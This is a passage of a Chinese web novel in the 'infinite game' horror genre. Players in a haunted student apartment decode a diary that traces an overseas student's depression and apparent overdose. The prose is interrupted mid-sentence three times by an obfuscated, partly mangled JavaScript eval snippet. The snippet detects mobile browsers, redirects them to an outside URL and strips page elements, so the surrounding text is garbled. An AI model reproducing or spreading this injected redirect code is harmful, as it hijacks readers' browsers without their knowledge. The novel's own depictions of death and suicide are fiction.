几个玩家四散开,堪堪躲过这不由分说的第一斧,紧接着第二斧、第三斧... 在狭长的客厅里人挤着人,四下逃窜着。 应凌心有点懵,不是要钱吗?怎么说动手就动手了? 直到第十斧落空,女人慢慢悠悠地重新举起斧头,面不红气不喘,笑眯眯地说: “There are 1,990 dollars remaining.” 还剩1990刀。 ...... 合着是这个刀啊?! 这是哪个国人想出来的低智谐音梗? 应凌心一边躲闪着,一边因为过度无语有点想笑。 斧头落下的速度不是很快,像是单纯走个形式,以至于她还能在脑海里吐槽这个不高明的设定。 所以就这样? 应凌心侧身躲过第20斧。 就这样躲到2000斧劈完?不会后面速度越来越快了吧? 玩家们已经逐渐掌握了规律,默契地跟其她人隔开距离,可以随时往不同方向躲避。 应凌心像是想起了什么,往厨房的灶台上瞄。 一抹红光,那是电饭煲屏幕上的倒计时。 数字11在电子屏上显示着,下一瞬间,倒计时变动了,变成了10。 饭还有10分钟做好。 时间在照常流动着。 她们还有多少时间?25分钟?20分钟? “There are 1,970 dollars remaining.” 还剩1970刀。 等她劈完要多长时间?以这个速度,怎么也得30分钟吧? 该死的。 应凌心侧过头,跟季祝火对上了眼神,对方看起来也意识到了不对。 “我们要没时间了。” 再这样耗下去,她们等下就得饿死了。 . 斧头还在以同样的节奏一斧一斧随机砍在房间的不同地方。 虽然砍下的速度不算快,目前还没有人受伤,但真要趁着间隙去做点什么,就是另一说了。 眼下有两个办法,应凌心躲过一斧,分析着。 要么等饭好了想办法把电饭煲顺过来,互相掩护着轮流吃饭——估计一人吃上一口就行,总不能真让她们吃一整碗吧? 要么想办法尽快把眼前的NPC干掉。 应凌心看着健壮的消防员轻描淡写地挥舞着沉重的大斧,后面站着两个同样健壮的NPC,不动如山。 ...并非有两个办法。 那么现在的问题是,怎么把那么大一个电饭煲拿过来? 怀念商予盈的一天,应凌心觉得商予盈的异能可以直接把它搬过来。 不知道其她玩家的异能是什么,能不能派得上用场。 该怎么搞?应凌心又一次躲过大斧。 总该有比硬跑过去拿更好的办法吧? 而且她合理怀疑真莽上去拿会被砍成碎片。 没事,还有时间。 电饭煲屏幕上的倒计时变成了7,时间确实是以正常的速度在流逝。 应凌心眨了眨眼。 从空间上来说,电饭煲跟自己中间没有什么别的东西阻挡。 所以她才能看到上面小小的数字倒计时,才会觉得商予盈的空间异能会起作用。 她似乎...也可以? 应凌心在心里掂量了一下,理论上应该可以,实践起来... “呀!!!” 男人的尖叫声打断了她的思考。 安依依被自己的衣摆绊倒,跌坐在地上,眼睁睁看着斧头从头顶向下落,不见他动弹。 “小心!” 为了躲闪灵活,玩家间的站位都保持着距离。来不及过去,季祝火下意识地发动异能。 一粒微小的火星在斧柄处被爆破,推动着斧头偏了一寸,堪堪擦过男玩家发抖的身体,砍在他的衣带上。 虽说是源自火的爆破,但基本没有大张旗鼓的动静,每次都是低调地消解着肉眼看不到的火星。 ...本来应该是这样的。 灶台上,一个铁壶不知道什么时候被推倒——装着油的铁壶。 菜籽油悄无声息地流到地面上,漫得到处都是,竟没有一个人注意到。 直到即将消散的火星飘到上面。 “嘭!” 一瞬间点燃了洒在地上的一大片油。 火苗窜入每个人的眼中。 屋内一片寂静,只有火舌跳动的声音——烟雾警报器没有响。 应凌心立刻去够季祝火的手腕,想把她拉过来。 女孩却以一种诡异的路线撞向消防员,NPC死板的纯色眼球眯成两条缝。 季祝火对此显然毫无防备,难以置信地想要用异能稳住身体,高大的消防员却先一步钳上了她的手腕。 下一瞬,火焰被诡异地拔高,熊熊燃烧的大火,没有四处蔓延,只是把季祝火跟其她玩家隔开,阻挡了每一个人的视线。 “季祝火!!” 应凌心大喊着,想要冲进火里,被莫问天拉住。 “你拉我干什么?!” 应凌心没有控制音量,回头大声地质问。 头发在火浪前凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118228|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱地舞动着,她紧锁着眉,上下甩着胳膊,暴躁地想要挣脱牵制。 莫问天抄起右手边灶台上的盐罐就向火焰墙里扔去。 玻璃制成的盐罐像是受到了什么阻碍,被弹了回来。 碰到火焰的那一侧已经被高温融化,另一侧啪嗒一声碎裂在地上,把里面白白细细的盐洒得到处都是。 “火后面还有副本的墙。” 过不去的。 应凌心愣了一下,深紫色的眼睛里映着不断跳动着的火舌,无措地看着地面。 下一秒,她飞快地抬起左手,精神力倾泻而出,被火焰加热的空气在她的指尖流动着,滋滋作响。 应凌心没有半分犹豫,把手伸向火焰中,死死地按在副本用来阻隔她们的空气墙上。 火焰争先恐后地涌上来,先是吞没她的指尖,接着是指节,然后是手掌... 每一个细胞的水分都在一瞬间被蒸发,萎缩着,嚎叫着自己的疼痛。 剧烈的灼烧感侵占每一寸神经,应凌心全身克制不住地抽搐着,大脑被尖叫声占据,每一缕思维都在叫痛。 没有任何思考的余地,她只能凭借自己的本能,全力释放着自己的精神力。 过了可能有一两秒,漫长得像是几个世纪,大概是神经都被烧坏了,应凌心反而感觉不到那么疼了。 她回过神来,手腕以上的地方被自己的异能护得好好的。她感觉不到火焰中自己的左手,希望有好好地贴在副本的墙上。 雷电被施展着铺向整面墙,焦急地跳动着,想要找到可以突破的薄弱点。 一点就好。 暗黄色的油脂顺着手上破裂的伤口流下,混着她的血水,一滴一滴,滴在炙热的地板上。 只要一点就好。 应凌心咬着口腔内的软肉,强迫自己集中注意力。 只要找到一点把异能传过去的方法,她已经想好后面的计划了,只要一点异能,她就能救季祝火。 只要一点。 弱小的新人玩家,她的精神力在副本面前,哪怕只是一点,也做不到。 直到她因为异能的损耗,后脑作痛; 直到火焰开始一步步击破防线,贪婪地爬上她的手腕; 直到她被莫问天强制拉开,听着玩家质问她是疯了吗; 直到她的手因为每一缕微弱的气流而剧烈疼痛,麻木地任由男玩家给她治疗; 直到她看着眼前气势汹汹的火焰慢慢失去威慑,逐渐熄灭; 直到她看到空气墙的另一侧,原本站立的三个NPC已经毫无踪影,只有倒在地上的季祝火。 女孩毫无生机的双眼像是两颗黑沉的玻璃珠,空洞洞地望着。 直到应凌心颤抖地伸出手去探女孩的脉搏,她依旧不敢相信。 上一秒她还在心里吐槽着副本的设计,下一秒它的机制就突然暴起。 一个生命就这样突然而平凡地逝去。 应凌心甚至不知道她是怎么死去的,不知道她临死前是怎么反抗的,不知道她在最后一刻是以一种什么样的姿态看的最后一眼世界。 尸体透过应凌心的指尖传递着寒意,让人难以想象尸体的主人生前有着火焰异能。 季祝火,那个谐音叫“记住我”的女孩,就这么悄无声息地死去了,除了目睹的人,没有人记得她的死亡。 ...... 嗡鸣声穿透应凌心的耳膜,她呆呆地在心里问自己,我应该是什么反应? 男玩家跪在季祝火的尸体旁,哭得上气不接下气,双手抓着衣服就脱,想要施展异能。 太荒诞了。 季祝火的死很荒诞,死后的闹剧也很荒诞。 这样的死亡,甚至没得到肃重沉痛的缅怀。 应凌心回过头,沉默地看过余下的每一个玩家。 此时距离副本开始,刚过去不到一个小时。 26.留子的厨房(八) 应凌心蹲在季祝火身边,低头看着她,不知道该干些什么。 她紧紧攥着自己的右手,掌心被膈得生疼。 系统的日志是在三分钟前更新的,她无措地点了下不再提示。 【玩家「季祝火」确认死亡,尸体将在五分钟后从副本中移除。】 叫人连一点侥幸心理都抱不了。 【嘀——嘀——】 电饭煲发着提示声,是米饭煮好了。 她算着时间,在心里倒数着,7、6、...、3、2、1。 眼前的尸体像是被抹除的数据,在眨眼间消失,什么也没留下。 应凌心站了起来,眼前因为供血不足一阵阵发黑,缓了好一阵,眩晕感才过去。 “咕噜——” 哈,在这种情况下,她居然还真能觉得饿。 莫问天拍了拍她的肩:“先吃饭吧。” 剩余的时间不多了。 . 应凌心站在灶台边上,离原先季祝火的尸体也就半步距离。 她扒拉着米饭,机械地咀嚼着。 她想错了,应凌心夹了一筷子鸡蛋。 不是吃两口意思意思就可以。 每个玩家都各自吃了一整碗,饥饿感才得到削减。 应凌心并拢着筷子,把粘在碗里的饭粒拢在一起,又拨到嘴里。 油盐味残留在口腔中,恼人地不肯散去。 食道像是有什么横在中间,挤压着她的胸口。 应凌心扶着灶台干呕起来。 哈,她这也算含泪吃了一大碗了。 她麻木地对自己开着低劣的玩笑,试图转移注意力。 怀里的纸张微微发烫。 是季祝火找到的日记本,在她发现自己异能的火星把油点燃,而她控制不了自己身形,被NPC 钳住左手的那一瞬间,没有半分犹豫,她把日记本扔向了应凌心。 应凌心接住本子后想再去拉她时,已经来不及了。 哈。 要不要这么舍己为人? 应凌心翻开了日记本,更新的却不是之后的日期。 【2023.11.21】 【我服了,果然找舍友不能找水专业的。】 【天天大半夜喝酒开party,这帮人不需要学习的吗??】 【这都快期末了,还成天蹦迪,能不能出去蹦啊...为什么非要在宿舍里蹦】 【2023.12.11】 【阴间舍友,放音响,鼓点吵得我心脏疼。】 【说是期末周,实则期末月,这段时间一直在熬夜。】 【明明平时都有在认真学,怎么到期末了发现全忘了?】 【...我写日记的时候她还在放,我叫她小声点,她把我骂了一顿。】 【哈哈,命苦。】 原来日记的更新不是按照时间顺序的。 应凌心不是很能跟日记的主人共情,只是推测着屋主人的死法,长期缺觉猝死的吗? 但副本有的是让玩家共情剧情的办法。 “咚!咚!咚!咚!” 沉重而快速的鼓点声,从紧闭着的另一间卧室传来。 单薄的木板传递着剧烈的响动,引着人的心脏不受控制地强烈跳动。 一股被压制的烦躁感探出了头,充斥在全身,没有宣泄的出口,也无法停下,就这样不断地累积着。 “什么鬼?!” 男玩家跳脚地在噪声中大喊。 莫问天上前拍了拍卧室的门。 鼓声停顿了一下,然后是音响被调节的声音,音量被拔得更高了。 ...... 这又是为什么? 应凌心手覆在卧室门上,微弱的电流悄无声息地流入,探查着里面的情况。 她眯了眯眼睛,压制着心中的暴戾。 有解决办法就行,不能轻举妄动。 她收回了手,在吵闹声中转身去屋主人的卧室里查看。 桌上摊着凌乱的草稿纸,她上回明明码好了的。 应凌心低头去看。 草稿像是刚开始学线性代数的人写的,大部分是没什么技术含量的计算题。 然后是初阶的微积分,还有一点概率论。 大一的课,所以屋主人是来读本科的啊。 但她第一次看到的草稿都是大三大四学的主题了,她当时还在猜是不是刚入学的研究生。 那遗书又是什么时候写的?应凌心没忘记她们的任务是找遗书。 看样子这时候距离屋主人真的死去,怎么也得再有个两三年。 至少现在屋主人的数学水平还很稚嫩。 应凌心没忍住,拿起笔,改正了草稿上的一个错误——洛必达可不是什么时候都能直接洛的啊。 怀里的日记本又开始发烫。 【2024.4.6】 【我真受不了老师的法语口音,叽里咕噜地就从我的大脑皮层划过去了。】 【板书也写得龙飞凤舞,我看了半天哪儿来的α,结果写的是2,呃呃呃呃呃】 【2024.4.14】 【学不会...好难好难好难】 【也听不懂本地人叽里呱啦在说些什么,插不上嘴,也不想说话】 【2024.4.21】 【或许我不适合学数学。】 【2024.4.25】 【感觉我还挺有数学天赋的!教授还说我第二个期中考得好,快乐!】 【2024.4.28】 【听,听不懂;做,做不对。】 【我不适合学数学。】 这屋主人演我。 应凌心挑了挑眉。 所以线索是怎么更新的,就因为她改正了草稿上的错题? 这副本总不能是为了劝人学数学存在的吧? 隔壁依旧在疯狂敲鼓,以至于莫问天都站到她面前了,应凌心才注意到。 她皱了皱眉,扯着嗓子分享自己的发现,希望交谈声可以盖过噪音。 莫问天也皱了皱眉,说: “¥&*@#¥@T(&%@¥*@%&@*&%?” ? 应凌心愣了愣:“你说什么?” 对方眉头皱得更深了:“%*#&Y%!*TI@$#*Y~+_+|}!” ...... 这下好了,她成听不懂口音的留学生了。 应凌心意识到了规律。 日记说隔壁拿音响放歌,隔壁就真的开始吵了起来。 日记说听不懂人讲话,她就真听不懂了。 看莫问天那疑惑的样子,估计自己的话在她耳中也是乱码。 那么现在问题来了。 是只有看了日记本的她没有办法跟别人交流,还是所有玩家之间都没办法交流了? 应凌心把日记收起来,开始手舞足蹈地比划着。 她指了指自己,然后指了指怀里的日记,做了个看书的动作,又指了指自己的嘴和耳朵,摇了摇头。 我、看了日记、所以没办法听和说了。 应该能懂她的意思吧? 应凌心满怀期待地看着莫问天。 莫问天...莫问天呆了一阵,举起手,开始比划起来。 她在结印。 ...... 莫问天的手以一种奇异的速度在飞快地翻动着,来不及看不清上一个手势,就已经转到下一个了,只能隐约看到一些残影。 ...姐们儿你这是在干啥啊? 应凌心头一回看到除了动画人物以外的人能把手变得这么快。 这是在跟她吵架吗?应凌心疑惑地歪了歪头,摇了摇脑袋,表示自己不懂。 莫问天深深地看了她一眼,以极缓慢的速度也摇了摇头。 ...哦我劁。 应凌心这下懂了。 合着手语也被加密成乱码了啊?! “咚!咚!咚!锵!咚!” 隔壁的鼓点锲而不舍地敲打在木墙上,应凌心烦躁地揉了揉头。 她不抱希望地抽了张纸,写起了字。 莫问天只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128722|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞄了一眼,接过笔,也写了起来:@#*&Y@¥#!%@—)%Q ...她就知道。 那小人书呢?应凌心开始画起了火柴人。 莫问天挑了挑眉,也画了起来——一团二维码。 应凌心托着下巴想了想,照着莫问天画出的二维码画了一遍,递给她。 莫问天摇了摇头,显然,加密两次并没有让它回到原点。 好吧。 暂时想不到别的办法了,只能先确认下别的玩家之间能不能交流了。 应凌心出了卧室,看到几个玩家间叽里呱啦地吐着乱码飞速结印的样子,看着都挺疑惑烦躁的。 看来找到的线索会应用到所有玩家身上。 确认了这一点,应凌心才把日记本摊开给所有玩家看。 线索本上的字总不能被屏蔽了吧? 果然,莫问天沉重地点了点头,表示她懂了。 庄不观在一旁,看不出什么情绪,也点了点头。 “咚!锵!咚!咚!锵!” ...没完了是吧? 应凌心有股想把噪音源头刀掉的冲动,她听着鼓声,忽然愣了愣。 她试探性地又一次把电流探入紧闭的卧室内,代替着她探查屋内的情况。 是电子鼓,连着庞大的音响。 只要把电路搞崩就行了。 但比起直接消除噪音...应凌心探查着鼓内的电子感应器。 她拿回日记本,重新扫了一眼日期。 鼓声被控制着停下,世界在一瞬间恢复清静,安静得一时间甚至不太适应。 里面的NPC若无所闻地接着敲着,看来直接干预没有什么大问题。 那就简单了。 应凌心向几人挥了挥手,指向了日记本。 【2024.4.21】 食指停留在数字1上。 她操控着电流,卧室里传来小鼓的响声。 接着是5,应凌心指向下一个日期的末尾:【2024.4.25】 她敲响了大鼓。 最后是分隔符,她随便指向了一个句号,屋内的镲子应声而响。 懂了吗?应凌心看了看玩家,总不能副本自己产生的噪音也换成乱码了吧? 她想了想,开始了自己的演奏:两下大鼓,四下小鼓,镲;三下大鼓,镲;四下小鼓。 然后等着其余人的反应。 庄不观矜持地点了点头,过了一秒,莫问天挑挑眉,也点了点头。 nod,点头,懂了就点头。 应凌心很满意,虽然麻烦了点,但至少有个交流的办法了...不知道能不能换成电灯开关之类的? 趁这个机会,她撤掉大部分电流,想要尝试下之前在脑中构思的新方法。 两下大鼓,四下小鼓,镲;一下大鼓,镲...四下大鼓,四下小鼓,镲;四下大鼓。 她慢吞吞地敲着鼓,眼睛眯了起来。 敲完后,不紧不慢地指向了抱怨舍友吵闹的日记片段里的问号。 Next? 接下来呢? 之前她们一直饿,吃了碗饭之后就没再犯饿了;隔壁卧室里一直在吵,她把鼓停掉一次后,即使不用再维持,也不再有噪音了。 她们以这种方式交流后——虽然效率奇低,是不是也应该能重新对话了? 阈值是什么,人数吗? “不是,你们到底在干什么啊?” 男玩家从刚才开始就咿咿呀呀地说着乱码,一刻未停。质问声在这时脱口而出。 队伍里有个蠢货的优势在这时候体现出来了,可以试探出生效时间——大概这就是为什么刚才没有人物理阻止他。 应凌心第一时间看向另一个男玩家,只见安依依脸上还残留着恍然大悟的神情。 噢。 应凌心若有所思。 是4个人,80%,还是有1人的容错? 或者最好的情况,大于60%就可以。 如果是那样的话,她眯了眯眼,应该先杀掉一个不太聪明的吧? 27.留子的厨房(九) 应凌心到底是没有真的杀人,或者说,她没有真的想杀人。 她只是心情太差了,忍不住在心里宣泄一下自己的戾气。 先不说她能不能利落地把人杀了,也不说她真的杀了人后会不会打破玩家间表面上的平衡,就拿她自己来说,当了一辈子——虽然只有二十来年——的守法好青年,哪能说杀人就杀人? 最重要的是...她还不确定具体的规则,万一真要是需要四个人才能解除线索带来的负面影响,要想过关最多就只能杀一个人了。 一个人。应凌心眯了眯眼,这要是杀错了,那得多糟心啊? 她不顾一旁玩家的吵嚷,闪身又进了卧室。 看着没有什么大变化。 线索到底是怎么出现的? 按道理,她们已经把前一个副作用消解了,那新一个也该来了吧? 应凌心捻了捻桌上的纸,觉得自己陷入了思维的死胡同,应该清空下大脑。 她选择...继续改正草稿纸上的错误。 这位屋主人,你需要好好学数学了呢。 她不觉得新的线索会以同样的方式出现,只是想转移下自己的注意力,让吵闹的大脑安静一点。 果然,虽然日记上又多了几句话,但都是类似的内容,抱怨着学业困难,没有什么新信息。 玩家间的交流也没再受到阻碍。 应凌心靠在客厅的墙壁上,想着下一步应该做什么。 留学生还会遇到什么困难? ...她不知道啊!枪击案?屋里也没有枪啊——问就是应凌心真的试图找过。 两居室的大门除了消防员进来时,一直紧闭着,无法打开。 哪怕在那些消防员打开门时,应凌心张望过,门外像是片场里尚未搭建的布景,扭曲的数据流明明灭灭,不像是在副本管辖范围内。 好吧,她现在没什么思路。 应凌心两眼放空,注意到散落在灶台上的碗,是她们刚才吃饭时用的碗。 ...对不起,她们是没有礼貌的客人。 应凌心把碗收到了水池里,试探性地打开了水龙头。 不是血水,不是扭曲的虫子,一股清澈的自来水流了下来。 “我来吧!”男玩家接过了碗。 应凌心擦干了手,抱着胳膊在一旁看着。 一切看起来都挺正常的...但怎么感觉,哪里不太对劲? 又来。应凌心皱了皱眉,她感觉自己进了副本后光顾着感觉哪里不对劲了,老是慢半拍。 几个碗很快就洗完了,安依依一边把碗放在沥水架上,一边偷瞄一旁的玩家。 他知道自己没有大腿可以抱,只能做一些不用动脑子的活,至少有点微弱的价值。 男玩家转过头,摆出恰到好处的笑容,身子稍稍前倾,露出自己白皙饱满的胸膛,随着呼吸一起一伏。 他看到对面的玩家睁大眼睛愣了一下,正得意间,感觉手上有点痒。 一股不详的预感涌上心头,他机械地回过头。 . 应凌心摸着微微发烫的日记本,看着水池,意识到刚才到底是哪里不对了。 是水声。 一开始听着没什么问题,随着碗被洗完,也没见它有什么变化。 水击打在空水槽里的声音,和击打在锅和一摞碗上的声音比起来没有变化。 确实有点不对。 她翻开了日记。 【2024.2.27】 【累累累累。】 【这几天完全不想做饭,每天就是叫外卖,吃完再叫下一顿。】 【配送费好贵,服务费好贵,小费和税也好贵...】 【但我好不容易考完了期中,我要奖励下自己!】 【2024.3.13】 【舍友的脏锅脏碗堆了一周多了还不洗,水槽都快溢出来了也当没看见。】 【我服了。】 【2024.3.17】 【从今天开始,我要做个心平气和的人。】 【2024.4.2】 【爹的,那堆碗都放了快一个月了也不洗,这人怎么想的?】 【好恶心,我都不想靠近厨房了】 【2024.4.13】 【舍友的碗还是没洗,屋里生了一大堆虫子。】 【妈妈通话时跟我说要不我帮着洗了。】 【凭什么我洗?惯的她!】 【2024.4.30】 【我洗了。】 【我把舍友的碗洗了。】 【2024.5.13】 【...我就说不能惯着这样的人吧!又把脏碗堆起来了。】 应凌心的目光停留在最后一处,到目前为止最新的日期: 【2024.5.31】 【再也不用担心水槽里的脏碗了。】 为什么不用担心? 屋主人把她舍友杀了吗? 应凌心揣摩着,看向了水槽。 下一刻,男玩家的尖叫声响起。 满满一水池的脏锅脏碗,看着已经堆积了很长时间,散发着腐烂的恶臭味。 黑色的飞虫在房间内横冲直撞地乱飞着,黄白色的长虫在锅碗间难舍难分地蠕动着。 确实恶心,应凌心觉得屋主人如果没有刀了她舍友的话,应该可以去养比格了。 . 几人忍着恶心把碗筷放到了洗碗机里,没过多久,屋里的飞虫也跟着销声匿迹了。 应凌心翻了翻日记,本子大概三分之一的页数已经有字了,看纸张的平整程度,屋主人至少写了三分之二。 也就是说,至少还有三分之一是没找到的。 剩下这些,该怎么去找? 她不懂。 实际上,不懂的另有其人。 “我懂了!” 白二恶狠狠地瞪着众玩家,“每次你们找到线索,所有人都跟着倒霉。” 说点大家不知道的。 “别找线索了,我们干耗着,就没事了!” 男人得意地大声说着,等着玩家们对他的天才推断五体投地。 ...烦。 烦烦烦。 应凌心在想,不知道将来下副本能不能给同副本的队友智商设个门槛? 莫问天没说话,一转身,又去找新线索。 庄不观一如既往地一言不发。 总之,没有人理他。 过了一阵,安依依小小声地说:“可是...我们的任务是找遗书呀?” 哦,他忘了这茬。白二觉得丢了面子,色厉内荏地瞪了回去。 . 应凌心在翻之前找到的装了一大堆小票的信封。 之前为了确定冰箱里的食材时整理过,之后就再没仔细看过了。 实际上,信封里不只是小票,还有打印出来的学费单跟租房合同。 是报税需要用到的材料。 那么,应凌心抽了张草稿纸,拿起了笔,这位屋主人,你花了妈妈多少钱呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133923|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等她算完,日记本没有什么新变化,无事发生。 她猜错了吗?应凌心无意识地小幅度摆动着食指。 她想了想,拽出一个在床下的纸箱,翻找起来。 季祝火之前跟她提过,里面是一堆打印出来的简历和工作岗位招聘启示。 跟花了多少同样重要的是—— 应凌心翻了翻招聘详情,有中文有英文,她摘出写着中文的岗位们,扫视着薪资待遇。 怀里的日记开始发烫,她满意地笑了笑: 你又能赚回来多少? . 留学生平时在烦恼些什么? 应凌心旅游时去顺道看望过在留学的朋友,两个人挤在翻个身就能掉下去的单人床上,聊了一晚上的天。 不只是富二代去留学。 还有一些中产家庭,花光了多年的积蓄,托举着将孩子送到国外。 这些孩子中,有一些对自己家境没有数,觉得可算脱离家人掌控了,在外面心安理得地花天酒地。 有一些在还没养成成熟的价值观前就遇到了家境远优于自己的人,看着对方的起点和自己的人生,失去了生活的希望,就地躺下。 但大部分人,还是在认认真真地生活着,努力地适应着新的环境,开拓着新的眼界。 她们清楚自己的家庭,明白家人的托举,甚至有时和家里通话时,也能听到长辈们半开玩笑半认真的明码标价的投资。 在飞机第一次落地时,她们也曾满怀着期待,野心勃勃地想着要自己闯出一片天地。 但大环境的动荡在普通人面前是一个又一个的大浪。 经济的衰退,政策的动荡,她们作为外国人,看不到后面的路——沉没成本铺出来的路。 那一晚,应凌心躺在床上,听着自己朋友堆积多年的焦虑。 日子还是要过着,学还是要念着。付着天价的学费,租着昂贵却逼仄的屋子,算着汇率买着日用品。 她的一举一动,每一次决策,每一个想法,都在加深淹没在潜意识的两个字—— 应凌心垂下眼,翻开日记,大片大片的文字,今天交了学费,明天去超市花了多少钱,后天说着没有拿到面试。 字里行间都在诉说着如出一辙的情绪—— 愧疚。 她们会感到愧疚。 为自己的家人倾尽所有把她们送出来,而她们没有办法达到期望而愧疚。 为自己明明在努力地学习生活,但生活中总有不顺心的事阻绊着她们而愧疚。 为自己费了半天劲,花了家里这么多钱,结果到最后花大半辈子都没办法把这些钱赚回来而愧疚。 “我们送你出来,是想让你改变命运的啊!” 为自己到头来,命运没有发生任何改变而愧疚。 时间长了,对于一些不太幸运的人,愧疚的原因开始发生了一些微妙的改变。 都这么久了,怎么还融入不进去? 都这样了,怎么反而打不起精神来? ...都到这个地步了,怎么还每天在床上睡不醒? 怎么还需要靠酒精麻痹自己,才能学进去习? 怎么感受不到饥饿,感觉不到脏乱,就这样得过且过地混过每一天? 应凌心抚过日记上的字迹,想起自己当时听到朋友的话,腾地一下从床上坐起来,在黑漆漆的屋子里瞪着对方。 她当时说了什么来着? 应凌心在那天晚上,问自己的朋友: “你是不是抑郁了?” 28.留子的厨房(十) “你是不是抑郁了?”应凌心曾经问过自己的朋友。 她忘了朋友当时的反应,好像是开了一个什么玩笑打散了她的担心。 后来朋友回国,感觉精神状态好多了,她也就没再在意过了。 那么这位屋主人呢? 应凌心低下头,写满字的纸张被哗啦啦地翻过。 日记一口气更新了好几页,上面的时间也跟着跨越了几个月。 每次新出现的日期跟上一次的间隔越来越大,字数却越来越少,像是公事公办地在陈述着自己的活动轨迹。 买了什么,花了多少钱,交了多少学费,涨了多少房租。 只有节假日,日记会更新得稍微频繁一点。 这次线索的更新停留在了屋主人来留学过的第二个冬天。 【2024.12.24】 【圣诞节,本地人都在快乐地过节,我自己待在家里。】 【又在下雪。】 【刚来的时候还觉得新奇,现在已经觉得烦了,可能我更新奇一点吧。】 【所有人都在放假。如果我死在今晚,估计得等一月初才可能被发现。】 【到时候估计虫子都会到处爬了吧?好恶心。】 【2025.1.1】 【还是自己待在家里,新年快乐。】 【妈妈问我要不要回国休息半年,我说要是那样的话我毕业就拿不了工签了。】 【而且我不想坐飞机,好麻烦啊。】 【2025.1.28】 【今天是大年三十。】 【一起上课的同学问我要不要一起过年,我说我有约了。】 【我没有约,只是不想去。】 【想妈妈。】 看着感觉有些压抑,像是季节性的抑郁情绪,尤其是在异国他乡的节假日,更是衬托了孤独感。 应凌心在想,这次又是什么困难被触发? 下一瞬,手上的日记又一次发烫。 她愣了愣,接着往后翻。 【2025.3.9】 【不知道几天没吃饭了,不饿。】 【今天中午在客厅昏倒,三点才醒,上课迟到了。】 【2025.5.1】 【很多虫子,不知道哪里来的。】 【总被什么东西绊倒。】 【但屋子明明很干净啊。】 【2025.6.23】 【好安静。喜欢。】 【2025.8.10】 【做了个梦,老外都在讲中文。】 【2025.9.5】 【新舍友把碗都洗了】 【2025.11.24】 【好看吗?】 一股若有若无的寒意侵上应凌心的双肩,她赶忙回头去看,没看到任何可疑的东西。 ...奇怪,日记本在她手里,其她玩家都不来找一下她吗? 也不知道她们怎么触发的新线索。 她转身向外走去,想要去找莫问天。 刚迈出去一步,应凌心的脚步一顿。 之前卧室里满地的矿泉水瓶不见了。 堆满了草稿纸的桌面被整理整齐,原本她想触发线索时乱摆在地上的小票账单跟简历也都不知踪影。 “屋子明明很干净啊。” 应凌心想起日记里片段,感觉头皮有点发麻。 之前每一轮线索更新伴随着的负面影响,真的是副本的一个个关卡吗?照日记上的描述,更像是... 现实? 这次的“现实”又是什么? 日记忽然又一次发烫,应凌心有点不敢接着看。 队友们,先别找了,她害怕。 应凌心没办法,到底还是翻开了日记本。 原先那句诡异的“好看吗?”被一篇篇新的日记代替。 但...应凌心不确定地仔细看了看,怎么有点难读懂? 【2025.11.24】 【来妈妈说要接】 【说去医院】 【说心掉眼泪是病了妈妈】 【妈妈不让挂电话】 【妈妈难过】 【也难过】 【2025.11.27】 【妈妈来了】 【妈妈哭一直】 【说对不起妈妈】 【不明白】 【多了好多白头发妈妈头上】 【也掉眼泪】 【眼睛和心】 【停不下来讨厌】 【2025.11.30】 【最近药猛,副作用强也。一天除了小时清醒外一直睡觉。】 【医生让多写日记,否则语言退化更厉害。】 【但想不写。】 【对不起妈妈。】 【2025.12.13】 【门出今天】 【摔 妈妈哭了又】 【没疼】 【说没疼 妈妈多哭多】 【妈妈说小孩】 【爱哭妈妈小孩才是】 【2025.12.27】 【药让脑子里声音小,身上声音大,都疼。】 【工作辞了妈妈。】 【真是累赘。】 【对不起妈妈。】 【2025.1.25】(划掉) 【2026.1.25】 【头吵多和多】 【累】 【哭妈妈又】 【说写多】 【木木页】 【2026.2.1】 【田幺小】 【2026.2.4】 【妈妈】 【妈妈艮好】 【另口犬口刂】 【妈妈不斤口】 【妈妈】 【2026.2.5】 【妈妈】 ...... 【2026.2.8】 【大概是回光返照吧,或者是一整瓶药在起作用, 我的大脑终于舍得清醒了起来。】 【或者说,我其实一直能 理解外界,虽然迟钝了一点。】 【只是说不出任何话,也写不出来,像是有人 硬生生剪断了我的思路,想写每一个字都要 先翻过一座山,更别提说话了。】 【我也不知道我怎么 把自己和整个家搞成了 这样,可能就像我妈前夫说的,到底还是扶不上墙吧。】 【和我同届的同学 在学交换代数,我在网 上搜了下,已经一点都看 不懂。】 【如果有下 辈子的话,希望能学会 交换下心情,顺便学 学测度论跟光滑流形。】 【哈哈,我还真挺喜 欢数学 的,能不能让我投胎成 拉马努金梦 里的数学女神?】 【现在不吃药的话已 经连个完整的字都 写不出来了,就这样妈妈还觉得我有救。】 【从我记 事以来从来没看 到她哭过,脑子坏掉之 后她哭的次 数比 我犯病的次数都要多了。】 